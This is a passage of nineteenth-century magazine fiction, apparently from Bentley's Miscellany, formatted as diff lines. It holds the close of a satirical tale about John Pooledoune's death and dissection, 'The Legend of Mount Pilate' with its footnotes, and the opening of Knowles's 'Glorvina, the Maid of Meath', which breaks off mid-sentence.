+Cold, asthma, suffocation and starvation, were then the miserable
+companions of the quondam wealthy John Pooledoune.
+
+In the misery of his heart, the wretched man took to drinking. _That_
+resource, under any circumstances, must very quickly have brought on the
+crisis; but true to the last, John resorted to patent British brandy,
+and his fate was astonishingly accelerated.
+
+One dusky evening, in a state of inebriety, the ragged philosopher
+walked, or rather staggered out. The cool air breathed upon his fevered
+brow; he saw the streets illumed with gas, he witnessed the smoke
+ascending from steam-engines, and, overcome by his emotions, when a
+Gravesend steamer, having beautifully run down another a hundred yards
+below, swept into the Adelaide Wharf he threw himself over London
+Bridge, and sank in the disturbed bosom of the silver, insulted, and
+persecuted Thames.
+
+Wearily had his life dragged on for many a day, and yet it was doomed
+to another drag. Before he had been two minutes in the water, this
+last-mentioned combination of cards, creepers, and hooks, brought him
+to the surface, having caught him by his bald pate, and he was carried
+ashore in a sculler. The nearest surgeon being called in, happened to
+differ from the Humane Society, and hung him up by the heels while he
+administered stimulants; but John had imbibed so little of the element,
+that even this treatment did not kill him. But his look was deadly, and
+he was so debilitated by the medical treatment, that to be restored
+was impossible; and the parish authorities of _Saint ---- _, inspecting
+his sorry equipments, became alarmed lest he should die where he had
+no business, and put them to the expense of a funeral. He was asked
+where he lived, in order that he might also die there; and a cart being
+procured, under the New Poor Law Act, he was carted towards the dismal
+abode he had indicated. His road lay along the new street to the new
+bridge; and, about a hundred yards down, in a dark avenue on his left,
+_he_ could _not_, though others might, see the once rich and respected
+tenement of his father, Roger Pooledoune, hosier and citizen of London.
+
+The night was frosty and bleak: John's clothes were thin and wet. Had
+he been taken to an old woman instead of a medical theorist, and dried
+and cherished even by the commonest fire of the parish workhouse, he
+would have survived his "accident:" but the law was imperative; he
+must be moved to his own parish, and he was moved into the parish of
+Eternity,--the parish which holds the rich and the poor, and Heaven only
+knows how they are provided for. Before the cart reached the "Union,"
+John Pooledoune was a corpse.
+
+On the ensuing day but one, a coroner's inquest sat upon his body, and
+one or two of the jurors were men who had known him in his prosperity.
+They could hardly identify the meagre and mutilated remains; but, in
+tenderness to the officials, who had killed him by doing all for the
+best, they returned a verdict of "Found Drowned."
+
+Not being conchologists, we shall not attempt to describe the shell in
+which it was pretended that John Pooledoune was buried. In that shell no
+muscle of his ever reposed; it held a few of the paving-stones of the
+adjacent lane, which, if John had been alive to submit to his galvanic
+battery, would have been demonstrated to be composed of bumble bees'
+sacchyrometers. About the same hour that the stones were interred with
+the solemn ritual of the church service by the chaplain, the body also
+furnished the subject of a lecture by the surgeon of the workhouse
+to the pupils in an adjoining hospital. The scull in particular was
+singularly formed, at least it was so declared by the phrenologists,
+who were allowed to claw it, and who clearly showed that the bumps
+(caused by the watermen's drags) were organs of philoprogenitiveness,
+amativeness, and destructiveness.
+
+In due time a perfect skeleton of John Pooledoune was scraped and
+prepared, and placed in a glass case in the museum of the hospital.
+
+And thus was fulfilled the Gipsy's prophecy. He was "by curing, slain;"
+he was "never lost on earth, alive or dead," for he was dragged from the
+river and preserved in the surgeons' hall; he was "found by numbers" of
+sensible coroner's inquest men! he is yet in his glass case a "bodiless
+corpse, the victim of improvement, for ever to improve" the students of
+anatomy. There was
+
+    "_No hand to close his eyes;
+    No eye to see his grave;
+    No grave to give him rest!_"
+
+He is "dead, resembling Death," yet keeps "his place among the dead
+and the living." "His end has not been an ending," and every one who
+inspects the hospital collection may know that "he _is_ and _is not_!"
+
+In a moral magazine such as Bentley's Miscellany it is naturally
+expected that a useful and instructive inference should be drawn from
+every tale; and assuredly ours needs little to point it: "_May we all be
+preserved from the fascinations of Gipsies!_"
+
+[104] All anachronisms are wilful. Witness the hand of the writer
+      hereof [graphic symbol: hand]. ]
+
+[105] Three under the metamorphoses were called by their acquaintance,
+      the Grey Goose, the Merman, and the Yellow-haired Laddie.
+      --Note, passim.
+
+
+
+
+              THE LEGEND OF MOUNT PILATE.
+
+Superstition is to this day a strong characteristic of the inhabitants
+of the Alps. A reason for this, is easily found in the various and
+imposing phenomena of Nature, to which these simple mountaineers
+are daily and nightly witnesses. A storm, which on the plains would
+scarcely attract attention, offers at each instant, in these lofty and
+diversified regions, some new and appalling spectacle. Each clap of
+thunder finds a thousand echoes, and is reverberated almost to infinity.
+The lightning's flash plays not only above, but about and underneath the
+beholder. Here a roaring torrent dashes past him down the precipitous
+rocks, driving all before it in its impetuous course; there a sudden
+whirlwind uproots the sturdy monarch of the forest, and bears it aloft,
+as though it were a feather on the breeze. The heavy cloud, which one
+moment envelopes the poor shepherd in its vapoury folds, in the next is
+seen rolling its dense masses over the lower earth, hundreds of fathoms
+beneath his feet. Nor are the calmer sublimities by which he is at other
+times surrounded less calculated to speak to his imagination than the
+loud voice of the bellowing tempest. The plaintive murmuring of the
+vernal breeze amid the lofty pines; the deep silence of the summer's
+burning noon; the fantastic changes of the fleecy cloud, whose form
+is varied by every pinnacle of the mountain; the hollow and mournful
+moaning of the autumnal gusts as they scatter far and wide the falling
+leaves; the bright beam of the resplendent moon, across which each
+jutting crag throws some grotesque shadow; and above all, the mist,
+which, rising from the plains a mere mass of dull and dank vapour,
+here first appears to receive life, and takes innumerable shapes and
+forms, incredible to those who have never witnessed its airy evolutions!
+These are the ever-varying phantasmata of nature that pass in scenic
+succession before the eyes of the Alpine peasant, and add fresh fuel to
+the fire of his superstitious inclinations.
+
+It was in scenes of this inspiring character that Ossian saw his shadowy
+armies, his warrior ghosts, his visionary maids, and heard the wild
+music of their aërial harps. And although from the imperfectness of
+our nature, we are all liable to have "our eyes made the fools of the
+other senses," yet is it in these cloud-capped regions alone that the
+illusions are always of a dignified order, and that poetry spreads her
+veil of enchantment over the dull realities of life.
+
+Such was the nature of my reflections after I had retired to rest upon
+the night before my intended pilgrimage to Mount Pilate; and, having
+made them, I slept soundly until the bright beams of a July sun darting
+in at my latticed window gave me notice of the morning's growth. I arose
+from my bed of leaves and rushes, and, strolling forth into the open
+air, tasted the delicious sweetness of the hour. Never do I remember a
+more enchanting prospect than here met my view. It seemed as if Nature
+had proclaimed a universal holiday. She was abroad in her gala dress;
+while Spring and Summer, her vernal and blooming handmaids,--the former
+lingering as though loth to quit her mistress, the latter rushing to
+anticipate her call,--appeared on either side of her, and strewed her
+rosy path with freshness and fragrance. The dews of night, glistening
+in the first rays of the slanting sun, spangled the green carpet of the
+earth; and the tall pines, ever the first to greet the morning breeze,
+gracefully bowed their dark heads to welcome day's return. Far across
+the intervening lake, the flocks and herds were seen winding slowly up
+the mountain's side in search of their wholesome pasture; while the
+simple harmony of their bells, mingling with the wild song or whistle
+of their urchin conductors, came upon my ear over the still waters in
+distant snatches, and formed, with the loud melody of the feathered
+minstrels close around me, a rural concert in happiest unison with the
+scene. A tap on the shoulder from my venerable conductor aroused me from
+my reverie. Our preparations were soon made; and with a small wallet
+destined to contain the necessary provision for such a journey, and
+each a long staff, pointed at one end and hooked at the other, such as
+is required for the ascent and descent of the precipitous paths we were
+to tread, we commenced our march. We proceeded first to Brunnen, where
+we took water upon the fairest of Switzer's lakes, and before sunset
+arrived at Lucerne, the town from which it takes its name. The next
+morning we were again afoot betimes, and, as we jogged along, I obtained
+the result of my companion's long gleanings in this fruitful land of
+romance and superstition.
+
+"First," said he, "with regard to the name[106] of this celebrated
+mountain. Some have thought that it obtained the designation of Mount
+Pilate from a tradition of its having been formerly peopled by a band
+of Roman deserters, who sought refuge among its almost inaccessible
+rocks,--the Latin word _pila_ having been often used to signify a
+mountain-pass; others, that it is a corruption from _pileus_, a
+hat, because its bald summit is often covered by a complete cap of
+clouds,--and hence the old proverb so often quoted in this country,
+
+    "'Quand Pilate a mis son chapeau,
+    Le temps sera serein et beau.'
+
+But the explanation drawing most largely upon the liberal credulity of
+the simple inhabitants of the Underwald, and therefore sure to be the
+best received, is the following amusing fable:
+
+"Pontius Pilate having been condemned to death for his crimes, to avert
+the shame of a public execution, committed suicide. His body being
+found, was by the enraged multitude fastened to an immense weight of
+stones, and thrown into the Tyber. But the spirit of that noble river,
+outraged by her waters being made the deposit of so foul a carcase,
+from that hour rose in foam and torrent to resent the injury; and,
+interesting great Nature in her behalf, the most frightful storms and
+whirlwinds, with hail, thunder, and lightning, ravaged the whole country
+from the Mediterranean shores to the opposite Adriatic; nor did the
+elemental uproar cease until the terrified inhabitants, by dint of
+the greatest exertions, dragged the body up again, and in all haste
+caused it to be conveyed as far as Vienne in Dauphiny, and there anew
+committed to the deep.[107] But what was the consequence? The Rhone
+would no more suffer such an insult than had the Tyber; and its blue
+waters, swelling with the indignity offered them, overflowed their
+natural banks, and rushed with headlong rapidity, as if to fly the spot
+of pollution. No bark could live an instant on the tremendous waves,
+which now so frightfully disguised this hitherto calmly majestic stream;
+and the Dauphinois, like the Romans, had no remedy for the crying
+evil, but, as they had done, to rid themselves and their river of such
+an ill-omened guest. This was at length accomplished: but the noble
+Rhone, although cleansed of his 'filthy bargain,' could not so easily
+forget the deep affront; and yearly, at that very season, he has ever
+since marked his undying resentment by a repetition of the same angry
+demonstrations. Meantime the offending cause of all this tribulation
+was secretly transported to Lausanne, and there condemned to a third
+watery grave. Why a preference so little flattering was given to this
+beautiful spot, is not known; but certain it is that its inhabitants,
+being made acquainted with the new arrival, presaged but little good
+to their '_placid Leman_' from so confirmed a disturber of the silent
+waters, and before his presence could have time to create its usual
+uproar, and thus prevent or impede such a measure, the body was once
+more brought to land; and, a council being held, it was then determined
+that a small and isolated lake,[108] situated near the summit of the
+Frakmont, should be the chosen place of interment. Being situated at a
+good forty leagues from their city, they would at least have little to
+dread from his future operations; and the bleak and barren nature of the
+soil surrounding his new residence would, as they hoped, neutralize, if
+not entirely destroy, his baneful influence.
+
+"There, then, he was finally deposited; but soon this desolate region,
+as though doubly cursed by his coming, felt the dire effects of his
+sojourn. The lake itself turned black; and its surrounding shores,
+infected by the noxious vapours which it now emitted, could no longer
+yield a wholesome herbage, but became one huge and marshy swamp,
+where the rankest weeds alone could thrive. The surface of the water
+was covered with the blanched bodies of its finny inhabitants; the
+water-fowl that used to haunt its banks no sooner came within its
+unhealthful precincts than they shared the universal doom, and fell dead
+upon the earth; the venomous snake lay stiffening in the sun, conquered
+by a superior poison; and the slimy toad expired in a vain attempt to
+crawl from an atmosphere too fetid even for his loathsome nature.[109]
+
+"The peasants, from their hamlets in the neighbouring plains, had marked
+the striking change in the appearance of the mountain's top, which,
+instead of standing out clear against the blue sky, was almost always
+enveloped in a shroudy mist, or, if for a short period it could rid
+itself of that encumbrance, still appeared like a heavy blot upon the
+surface of the earth, reflecting no single ray of that bright sun which
+beamed on all around it. Convinced that such a sudden change could
+proceed but from some supernatural cause, a thousand speculations were
+hazarded as to what was actually going on at the summit itself; and at
+length one among them, more hardy than the rest, set out, determined to
+explore the mystery. His presumption, however, was awfully punished;
+for although, by dint of an extraordinary courage, he returned to his
+anxious friends, yet the sights he had seen, the fright he had endured,
+and the bodily exertions he had used to quicken his descent, were too
+much for him. It was permitted only that he should relate to the throng
+crowding around him the pestilent appearances of the once beautiful
+little lake, and then ague-fits, convulsions, and a raging fever ended
+the poor wretch's mortal struggles.
+
+"Whether the circumstances of this intrusive visit added fresh fuel
+to the demon's rage, or whether the moment was now come when, having
+no longer within his reach any living object on which to vent his
+diabolical vengeance, he became impatient of his watery incarceration,
+certain it is that, from the very day of the luckless villager's return,
+new sounds and sights of horror and desolation startled the whole
+country around. A hollow rumbling noise, as of distant thunder or a
+smothered volcano, issued, with scarcely a minute's intermission, during
+the hours of light, from the mountain's summit; while the deep silence
+of midnight was suddenly broken by shrieks and yells so hideous and
+piercing, that, compared with them, the war-whoop of a whole nation of
+Whyndots or Cherokees would have seemed soft music. Thus were announced
+to the affrighted listeners the terrific struggles then making by the
+foul spirit to burst his liquid bonds. At length, one luckless morn, he
+succeeded in his attempt to breathe again the free air; and his first
+feat was to celebrate the unholy triumph by a storm that hid the sun's
+face from the world during eight and forty hours, being the exact number
+of days of his forced sojourn in the lake.
+
+"It seemed, from his remaining afterwards on this bleak and desolate
+station, either that his infernal art could not compass his entire
+removal from the mountain, or that he preferred it to the low grounds
+on account of the advantage which its elevated situation gave him to
+direct the tempests, and with greater certainty to launch the fires of
+destruction upon those particular parts of the country from which he was
+at the moment pleased to select his victims. Whichever of these was the
+cause of his stay, he, at any rate, by force, or by choice, did remain
+there for some hundreds of years; during the whole of which period
+he continued more or less, and by every means within his fell power,
+to vent his undying rage upon the hapless peasantry and their little
+possessions. In the midst of the most terrific of the storms with which
+it was his custom to visit the valleys below, the phantom himself would
+sometimes be for a moment visible to one or other of the terror-struck
+shepherds, and then some dreadful mortality among his flocks and herds
+was sure to be the lot of the luckless wight by whom the apparition had
+been seen.
+
+"Once, during a dreadful hurricane that tore up the largest trees by
+the roots, and scattered ruin and dismay abroad, the grisly fiend
+was plainly seen perched upon the very highest pinnacle of his rocky
+dominion, in desperate conflict with a second unearthly being, who,
+by the violent gesticulations displayed on both sides, could be no
+other than his once mortal enemy, the renowned King Herod. In short,
+nothing could exceed either in variety or extent, the mischief caused
+to the pastoral inhabitants of the two cantons of Lucerne and Underwald
+by this '_Lord of the Black Mountain_,' the name by which their
+demoniac tormentor was universally known. It gave them, therefore,
+joy beyond expression when their good genius at last sent them some
+hope of deliverance from the evil power, in the person of a pious and
+learned doctor, who, being informed of the devastation, agreed to try
+conclusions with the imp of Satan. This champion in the good cause
+was a celebrated brother of the Rosy Cross, who had already taken the
+highest degrees in the university of Salamanca, and who, having dived
+deeper than his fellow students into the mysteries of the far-famed
+Bactrian sage, possessed a reputation that placed him almost on a level
+with Zoroaster himself. Like a good alchymist, gold was the ultimate
+object of his philosophical researches; and for a sufficient sum, (to
+obtain which many a poor peasant was deprived of his last kreutzer,) he
+undertook to rid the country of what had been so long a scourge to it.
+
+"He set out accordingly for the conflict; but alone and unarmed,
+having refused all aid or guidance but such as his sacred mission and
+his hidden knowledge gave him. The combat was long and obstinate, but
+never for a moment doubtful. Arrived at the mountain's summit, the
+Rosicrucian took up his station on a commanding point of the rock,
+and called upon the phantom to appear before him. This simple summons
+remaining unnoticed, he proceeded to a display of his cabalistic powers,
+and finally brought the stubborn offender into his presence; but not
+until the force of his mystic conjurations had torn the huge fragment
+on which he stood from its solid base, and left it balancing on a mere
+point, where, indeed, it may to this day be seen, a trembling memento of
+that awful hour.
+
+"Unable to make head against the superior prowess of his opponent,
+the malignant spirit sought safety in flight but was pursued by the
+victorious astrologer, who, coming up with him again on the part of the
+mountain now called the Hill of Widerfield, renewed the contest with
+fresh vigour; and so furious were the attack and defence on this spot,
+and so violent the arts of exorcism to which the reverend champion had
+recourse, that the grass beneath their feet was burnt up as by the fire
+of heaven, and has never since recovered from the unnatural blight.
+Success at length crowned the efforts of the holy father, who, however,
+was forced to consent to a sort of honourable capitulation on the part
+of the vanquished. It was therefore finally agreed between them, that
+the spectre should return to his watery sepulchre, there to remain
+inactive during three hundred and sixty-four days in every year. On Good
+Friday alone he was to be permitted to walk abroad, clothed in those
+magisterial robes which he was wont to wear when living; even then,
+however, pledging himself not to overstep the limits of the mountain's
+summit, and never, unless provoked by previous violence or insult, to do
+harm to aught that had existence.
+
+"This settled, he mounted a coal-black charger, which, as a ratification
+of their solemn treaty, was presented to him by his conqueror, and which
+on starting struck his hoof into the neighbouring rock, and left to
+all eternity its huge print there. Then, with a noise that resembled
+the hissing of an army of serpents, he plunged into the lake and
+disappeared; nor has he ever since been known to violate the engagements
+then incurred by showing himself to the world, save on the anniversary
+of the day above mentioned, or when irritated beyond his bearing by the
+language of abuse or some overt act of aggression, such as the throwing
+of stones or other substances into his prison-lake. The treaty thus
+broken, he has never failed to exercise the power still left him, and
+to evince his anger by some terrific storm or inundation, which would
+shortly after, and generally in the very midst of the brightest and
+clearest weather, suddenly proclaim his sense of the insult offered him.
+
+"In consequence of these infractions, by the ignorant or the
+disobedient, of a treaty solemnly entered into, a general order
+was issued by the competent authorities, interdicting all persons
+whatsoever, under severe pains and punishments, from making the ascent
+of this mountain without a special permission to that effect, from the
+chief magistrate of the district, who at the same time was to appoint
+proper and trustworthy guides, they being answerable with their lives
+for the attention of the whole party to certain prescribed rules.[110]
+The shepherds, too, by whom the lower part of the Pilate was peopled,
+were obliged every year to appear before a certain tribunal, and to
+take an oath that they would make no attempt to visit these prohibited
+regions.[111]
+
+"Things remained nearly in this state until the event of the
+Reformation; after which both Catholic and Protestant united to remove
+from the minds of the vulgar, prejudices which ages of ignorant habits
+had tended to fix on them. Among the rest, in the year 1585, one
+Muller, the curé of Lucerne, having appointed a day for that purpose,
+and invited all who were willing so to do to accompany him, set out on
+an expedition to the summit of Mount Pilate, and was followed thither
+by some hundreds of his parishioners. Arrived at the so much dreaded
+lake itself, he proceeded to throw into it, stones, blocks of wood, and
+missiles of various descriptions, accompanying the action with words
+the most likely to provoke the wrath of the redoubted fiend; but, to
+the surprise of the assembled multitude, who had beheld with affright
+the audacious ceremony, all remained silent,--neither sound nor sight
+replied to the daring invocation, and the sky was not in consequence
+overcast by a single cloud. In order to follow up the partial light
+which he had thus let in upon the darkness of ages, the worthy curé soon
+afterwards obtained an order from the government of Lucerne, authorizing
+the draining of the lake itself,--a work which was actually begun in the
+year 1594, but to which a want of the necessary funds, and other minor
+causes, put a stop before it could be entirely accomplished."
+
+I have thus repeated at some length the fabulous histories which I
+that day learned during our long and laborious ascent to the summit of
+the mountain in question; and I will now only add, that the various
+scenes therein alluded to, as having been the theatre of the phantom's
+exploits, were pointed out to me by my companion; nor could I avoid
+perceiving, by the fondness with which he dwelt rather upon the
+superstition itself, than such refutation as followed it, that he was
+himself in no slight degree tinged with the popular belief.
+
+[106] Its German name is Frakmont, from the Latin words "Mons fractus,"
+      an appellation naturally bestowed upon its broken and
+      irregular summit.
+
+[107] Eusebius, in his "_Histoire Ecclesiastique_," (liv. ii. chap. 7,)
+relates that, about forty years after the birth of Christ, and under the
+reign of Caligula, Pontius Pilate was recalled from the government of
+Judea to Rome, and, fearing the consequences with which his conduct was
+threatened, he committed suicide; but he does not say where this fact
+occurred. Naucler tells us that Pilate, having been banished to Lyons
+by the emperor, there died by his own sword; and other authors, among
+whom is Otho of Frisinguen, assert that, being exiled by Caligula, he
+threw himself into the Rhone at Vienne in Dauphiny, and was drowned.
+He adds, that, according to the statement of the inhabitants of that
+neighbourhood, the river has ever since that period, at certain
+intervals, been extremely difficult and dangerous to navigate.--(Vide
+_Pa Chronique_, liv. iii. chap. 13. )
+
+[108] This mountain lake is situated in the centre of a small forest of
+dark and time-worn pines, and is surrounded by bogs and marshes. In form
+it is nearly elliptical, being one hundred and fifty-four feet long, and
+seventy-eight broad, and it is in no part more than four feet deep. In
+the year 1560 it was measured by Cisat, and, according to his account
+of its dimensions, was at that time just one-third less than it is know
+known to be now; but whether his admeasurement was defective, or whether
+the body of water has actually increased since that period, may be
+matter of doubt.
+
+[109] Treatise on Exorcisms, entitled "Malleus Maleficarum," (a Hammer
+for Sorcerers,) by Felix Hemmerlein, Provost of Soleure; printed at
+Frankfort, in 1582.
+
+[110] Vadian's Commentaries, published at Vienna in 1518.
+
+[111] Conservateur Suisse, vol. iv.
+
+
+
+
+              GLORVINA, THE MAID OF MEATH.
+               BY JAMES SHERIDAN KNOWLES.
+
+Ireland has had her heroines. Glorvina, the daughter of Malachi, king
+of Meath, was the joy and pride of her father, yet at the same time his
+anxious, never-resting care; for the Dane was in the land. The rovers
+were led by Turgesius, a voluptuous prince, though advanced in years.
+Turgesius approached the gate of Malachi with the smile of peace upon
+his countenance, but with the thoughts of rapine in his heart. He was
+hospitably received; the banquet was spread for him; and when he was
+weary with feasting and hilarity, he was conducted to the richest,
+softest couch.
+
+He had not yet seen Glorvina, but he had heard of her surpassing beauty;
+and one day he requested of the king that his daughter should sit at the
+feast. A shade came over the brow of Malachi; but he bowed his head, and
+it was gone. With a timid, yet stately step, the virgin entered the
+hall. Thick and clustering, and reaching far below her tapering waist,
+hung her auburn hair; her eyes were cast down; her fair skin mantled and
+faded, as her colour came and went; and she spake not as she sank in
+modest, graceful obeisance, to the salutation of Turgesius.
+
+The Dane had no appetite for the banquet that day. He seemed to be
+conscious of nothing but the presence of Glorvina. Alarm and ire were
+painted in the countenance of the king, but Turgesius noted it not. He
+never removed his eyes from the royal maid; they wandered incessantly
+over her features and her form, and followed the movements of her
+white, roundly-moulded arms, as she accepted or returned the cup or the
+viands which were proffered for her use. Haughty for the first time
+was the fair brow of Glorvina: the bold stare of man was a stranger to
+her. Again and again she offered to retire, but was withheld by the
+dissuasions of Turgesius, seconded by the admonishing glances of her
+father. At last, however, in spite of all opposition, she withdrew.
+
+The Dane sat abstracted with a clouded brow; deep sighs came thick and
+strugglingly from his breast. Malachi tried to rouse his guest, and
+succeeded at last, with the aid of the cup. Turgesius waxed wildly
+joyous; he spoke of love, and of the idol before which the passion bows;
+and he asked for the strain that was in unison with the tone of his
+soul; the song of desire was awakened at his call; and as it flowed,
+swelling and sinking with the mood of the fitful theme, the rover's
+cheek flushed more and more, and his eyes more wildly flamed.
+
+Turgesius did not sleep at the castle that night. He was summoned on a
+sudden to a distance: oppression had produced reaction. In the place of
+the slave, the man had started up; and the air all at once was thick
+with weapons, where for months the glare of brass or of steel had not
+been seen, except in the hand of the foreigner. Outposts had been driven
+in; large bands were retracing steps which they had no right to take;
+the sway of the freebooter was tottering. His presence saved it, and the
+native again bowed sullenly to resume the yoke.
+
+After the lapse of a few weeks, Turgesius once more drew near the
+gate of Malachi. Loudly the blast of his herald demanded the customed
+admission, and with impatience the Dane awaited the reply to his
+summons. It came; but there was wailing in the voice of welcome, and
+the visitor felt that he grew cold. The mourner received him in the
+hall:--Glorvina was no more! Turgesius turned his face away from
+the house of death, and departed for his own stronghold, where with
+alternate sports and revels he endeavoured to assuage disappointment and
+obliterate recollection.
+
+Dusk fell. Silent and gloomy was the aisle of the royal chapel. Before
+a monument, newly erected, stood a lonely figure gazing upon the name
+of Glorvina, which was carved upon the stone. The figure was that of a
+youth, tall, and of matchless symmetry. His arms were folded, his head
+drooped, he uttered no sound; his soul was with the inmate of the narrow
+house. He heard not the step of the bard who was approaching, and who
+presently stood by his side unnoted by him.
+
+Long did the reverend man gaze upon the youth without attempting to
+accost him. More and more he wondered who it could be whom sorrow so
+enchained in abstraction. At length the lips of the figure moved, and a
+sigh, deep-drawn, ushered forth the name of Glorvina. No stranger to the
+bard was the voice that fell upon his ear. "Niall!" he exclaimed. The
+youth started and turned; it _was_ Niall. He threw himself upon the neck
+of the bard. The flood of the eyes began to flow: he sobbed forth aloud
+and incontinently the name of Glorvina!
+
+"Niall," said the bard, as soon as the paroxysm of grief had a little
+subsided,--"Niall, you are changed in form, your stature has shot up,
+your shoulders have spread, and your chest has rounded. Your features,
+too, I can see by this spare light, have received from manhood a stamp
+which they did not bear before; but your heart, my son, is the same.
+Niall in his affections has come back what he went. The Saxon has not
+changed him, nor the Saxon's daughter; her golden hair has waved before
+his eyes, her skin of pearl has shone upon them, the silver harp of her
+voice has streamed upon his ear; but his heart hath been still with
+Glorvina!"
+
+"To what end?" passionately burst forth the youth. "Glorvina is in the
+tomb!" The tears gushed again; the bard was silent.
+
+"Where is your prophetic Psalter?" resumed Niall; "where is it? Who will
+give credence to it now? Did you not say that Glorvina was the fair
+maid of Meath by whom it foretold that the land was to be rescued from
+the Dane; and that I was that son of my house who should be joined with
+her in perilous, yet happy wedlock? This did you not say and repeat a
+thousand times?--Then why do I look upon that tomb?"
+
+"Niall," said the bard, "have faith, though you look upon the tomb of
+Glorvina!" The youth shook his head.--"Have you yet seen the king?"
+inquired the bard. Niall replied in the negative. "Come, then, young
+man, and look upon a father's grief!"
+
+The bard led the way towards the closet of the king. The light of the
+taper streamed from the half-open door: and as Niall, by the side of
+the bard, stood in the comparative darkness of the ante-chamber, he
+stared upon the face of Malachi, bright with a smile at a false move at
+chess which a person with whom the king was playing had just that moment
+made. Niall could scarce believe his vision.--"Where is the grief of the
+father?" whispered he to the bard.
+
+"Note on!" was the old man's reply.
+
+"He laughs!" exclaimed Niall, almost loud enough to be heard by those
+within.--"Yes," said the bard; "he who wins may laugh. He has got the
+game."
+
+"And where is his child?" ejaculated Niall with a groan so audible that
+Malachi heard it and started; but the bard hurried the youth from the
+room.
+
+Niall and the bard sat alone in the apartment of the latter. Sparingly
+the youth partook of the repast, which was presently removed. He sat
+silent, leaning his head upon his hand. At length he lifted his eyes to
+the face of the bard; it was smiling like the king's, as he played the
+game of chess. The young man stared; the bard smiled on.
+
+"A strain!" cried the reverend man, and took his harp and tuned it,
+and tried the chords till every string had its proper tone. "Now!" he
+exclaimed, ready to begin. The young man watched the waking of the lay,
+which he expected would be in unison with the mood of his soul: but,
+lo! note rapidly followed note in mirthful chase, still quickening to
+the close; and the countenance of Niall, overcast before with grief, now
+lowered with anger.
+
+"I list not strain like that!" he exclaimed, starting from his seat.
+
+"You list no other, boy, from me," rejoined the old man; "it is your
+welcome home."--"My home," ejaculated Niall, "is the tomb where Glorvina
+sleeps the sleep of death!"
+
+"The Psalter," said the old man solemnly, "is the promise of Destiny,
+and is sure to be fulfilled."
+
+"Why, then," asked the youth sternly,--"why, then, is Glorvina no longer
+among the living?--Why in the place of her glowing cheek do I meet the
+tomb?--the silence of death, instead of her voice?"
+
+The bard made no reply, but leaned over his harp again, and spanned its
+golden strings. He sang of the chase. The game was a beauteous hind;
+eager was the hunter, but too swift was her light foot for his wish.
+She distanced him like the wind, which at one moment brushes the cheek,
+and the next will be leagues away; and now she was safe, pressing the
+mossy sward in the region of the mountain and the lake, where the waters
+mingle and spread one silvery sheet for the fair tall heavens to look
+into.
+
+Niall sat amazed!--conjecture and doubt seemed to divide his soul. He
+sprang towards the old man, and, throwing himself at his feet, snatched
+the hand that still lay upon the strings and caught it to his bosom.
+Yet he spake not, save by his eyes; in the intense expression of which,
+inquiry, and entreaty, and deprecation were mingled.
+
+The old man rose and stood silent for a time, looking down benevolently
+upon Niall, who seemed scarcely to breathe, watching the lips that he
+felt were about to move.
+
+"Niall," at length said the bard,--"Niall, the strength of the day
+is the rest of night. Fair upon the eye of the sleeper, awakening
+him, breaks the light of morning. Then he springs from his couch, and
+stretches his limbs, and braces them, eager for action; and he asks
+who will go with him to the field of the feat; or haply betakes him to
+the road to try his strength alone; and following it through hill and
+valley, moor and mead, suddenly shows his triumph-shining face to the
+far friend that looked not for him!"
+
+The bard ceased. Both he and the youth remained motionless for several
+seconds, intently regarding one another. At last Niall sprang upon
+his feet, and threw himself upon the neck of the old man, whose arms
+simultaneously closed around the boy.
+
+"You will sleep to-night, my son," said the bard, withdrawing himself
+at length from the embrace of Niall. "The dawn shall not come to thy
+casement before thou shalt hear my summons at thy door. Good-night!"
+They parted.
+
+       *       *       *       *       *
+
+By the side of a bright river strayed hand in hand two young females,
+seemingly rustics. Rain had fallen. The thousand torrents of the
+mountains were in play; and the general waters, swoln beyond the
+capacity of their customed channel, ran hurried and ruffled.
+
+"Who would think," remarked the younger of the two,--"who would think
+that this was the river we saw yesterday?"
+
+"'Tis changed indeed," said her companion; "but the sky that was
+lowering yesterday, you see, is bright and serene to-day. Did you hear
+the storm in the night?"
+
+"No: I would I had. It would have saved me from a dream darker than any
+storm."
+
+"A dream!--Tell it me. I am a reader of dreams."
+
+"You know," began the younger,--"you know I was brought up with the only
+son of a distant branch of my father's house. I know not how it was,
+but, from my earliest recollection, my foster-mother, and others as
+well as she, set me down for his wife; and, strangely enough, I fancied
+myself so. Yet could it be nothing more than a sister's love that I bore
+him. Much he used to make of me. His pastime--even his studies--were
+regulated by my will. Being older than I, he let me play the fool to
+the very height of my caprice, which cost me many a chiding,--but not
+from him, though he had to bear the greater portion of the consequences.
+You know by his father's will he was enjoined to travel the last four
+years preceding his majority. He set out the very day that I completed
+my fourteenth year. I wish it had been before. I should have felt the
+separation less, for indeed it cost me real agony. For months after,
+they would catch me weeping: they did not know the cause; but 'twas for
+him! Still I only loved him as a brother--but a dear one,--Oh, Myra! I
+cannot tell you how dear!--and absence has not abated my feelings, as
+you may more than guess by my dream last night."
+
+"Look!" interrupted the other; "see you not some one through the
+interval of the trees descending yonder road that winds round the foot
+of the nearest mountain?"
+
+"No," replied the former, after she had looked in the direction a moment
+or two. "But attend to my dream. I thought I was married indeed, and
+that he was my husband; and that we were sitting at the bridal feast,
+placed on each side of my father; and there were the viands, and the
+wine, and the company, and everything as plain as you are that are
+standing there before me; when, all at once----"
+
+"I see him again!" a second time interrupted the friend. "Look! don't
+you catch the figure?"--"No."
+
+"Then you'll not catch it at all now, for he has dived into the wood
+through which the road runs."
+
+"Was it a single person?"--"Yes."
+
+"Then we have nothing to care for; so don't interrupt me in my dream
+again."
+
+"Go on with it," said the other.
+
+"Well; we were sitting, as I said, at the bridal feast, when, turning
+to speak to my father, the fiery eyes of one I hope never to see again
+were glaring on me, and my father was gone; and fierce men, with
+gleaming weapons waving above their heads, surrounded him to whom I had
+just pledged my troth, and bore him, in spite of his struggles and my
+screams, away: leaving me to the mercy of the spoiler, who straight,
+methought, started up with the intent of dragging me to the couch which
+had been prepared for another!"
+
+"Do you mark," interrupted the friend, "as you increase in loudness,
+the echoes waken? I heard the last word repeated as distinctly as you
+yourself uttered it. But go on. Yet beware these echoes; they may be
+tell-tales. What followed?"
+
+"Oh, what harrows my soul even now! Thither, where I told you, did he
+try to force me, struggling with all my might to resist him. I called on
+my father,--I called on my bridegroom,--I called on every one I could
+think of; but no one came to me, and fast we approached the door, on
+the threshold of which to have died, I thought in my dream, would be
+bliss to the horror of crossing it, and there at last we stood: but it
+was shut. Yet soon it moved; and who think you it was that opened it?
+Niall!--Niall himself! and no resistance did he offer to him that forced
+me onward,--none, though I called to him by his name, shrieking it
+louder than I am speaking now, 'Niall!--Niall!' He spoke not,--he moved
+not; and I was within a foot of the very couch, when I awoke, my face
